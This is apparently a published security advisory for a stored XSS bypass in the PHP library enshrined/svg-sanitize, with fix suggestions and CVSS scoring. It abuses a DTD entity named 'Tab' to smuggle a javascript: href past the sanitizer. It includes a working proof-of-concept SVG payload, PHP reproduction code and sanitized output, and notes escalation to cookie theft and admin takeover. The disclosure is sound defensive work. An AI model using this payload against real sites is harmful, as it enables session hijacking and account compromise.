A crafted SVG bypasses enshrined/svg-sanitize's href validation and delivers a javascript: URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).
This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.
Affected installations:
Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference:
<!ENTITY Tab "#">
In XML, 	 expands to the literal string "#" (from the DTD definition).
In HTML5, 	 is a Named Character Reference that resolves to U+0009 (TAB character).
The SVG uses this entity in an href:
<a href="	javascript:alert(document.domain)">
During sanitization (XML context): 	 → "#" → the sanitizer sees href="#javascript:alert(document.domain)" → starts with # → isHrefSafeValue() returns TRUE → passes through.
Sanitizer output: saveXML() outputs the entity reference 	 (not the expanded value), and strips the DOCTYPE declaration.
In the browser (HTML5 context): Without the DOCTYPE, 	 is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace → javascript:alert(document.domain) executes.
// isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution)
protected function isHrefSafeValue($value) {
if ('#' === substr($value, 0, 1)) {
return true; // Fragment identifier — "safe"
}
// ...
}
// But saveXML() preserves the entity REFERENCE, not the expanded value
// And the DOCTYPE (which defines the entity) is stripped from output
// → semantic mismatch between validation and output contexts
<!DOCTYPE svg [<!ENTITY Tab "#">]>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>
<?php
require_once 'vendor/autoload.php';
$svg = file_get_contents('xss.svg');
$sanitizer = new \enshrined\svgSanitize\Sanitizer();
$clean = $sanitizer->sanitize($svg);
echo $clean;
Output:
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>
The javascript: href passes through the sanitizer. The DOCTYPE is stripped, but the 	 entity reference is preserved.
Embed the sanitized SVG inline in HTML:
<div class="svg-container">
<!-- sanitized SVG output inserted here -->
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120">
<a href="	javascript:alert(document.domain)">
<rect width="400" height="120" fill="#c00" rx="12"/>
<text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text>
</a>
</svg>
</div>
Clicking the red rectangle executes alert(document.domain).
Confirmed: Chrome 148. PoC file: XSS_CONFIRMED_POC.html
Any HTML5 Named Character Reference that expands to a URL-parser-ignored character:
	 → U+0009 (Horizontal Tab)
 → U+000A (Line Feed)These are stripped by the URL parser's scheme extraction, allowing javascript: to be the effective scheme.
document.cookie, fetch('/wp-admin/...'), session hijackingThe sanitized SVG must be embedded inline in HTML (not as <img src="file.svg">). Common scenarios:
echo file_get_contents($svg_path) for inline SVG renderingStandalone <img src="...svg"> is NOT affected (browser uses XML parser, 	 without DOCTYPE = XML parse error).
CVSS 3.1: 6.1 (Medium) — stored XSS, requires user click
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
With session stealing / admin takeover chain: effective severity High.
$dirty = preg_replace('/<!DOCTYPE[^>]*(?:\[.*?\])?\s*>/si', '', $dirty);
Eliminates entity definitions entirely. No DTD entities = no collision.
$clean = $this->xmlDocument->saveXML(...);
// Post-serialization check: re-validate all href values in the OUTPUT
// (catches entity references that bypass the XML-expanded check)
Validate getAttribute() return value AND the serialized form:
$href = $element->getAttribute($attrName);
$serialized = $this->xmlDocument->saveXML($element);
// Check both for javascript: scheme
Reported by ExPatch Security Research — expatch.llc Denis Rostilov
{
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T19:41:15Z",
"nvd_published_at": "2026-10-08T18:17:23Z",
"severity": "MODERATE"
}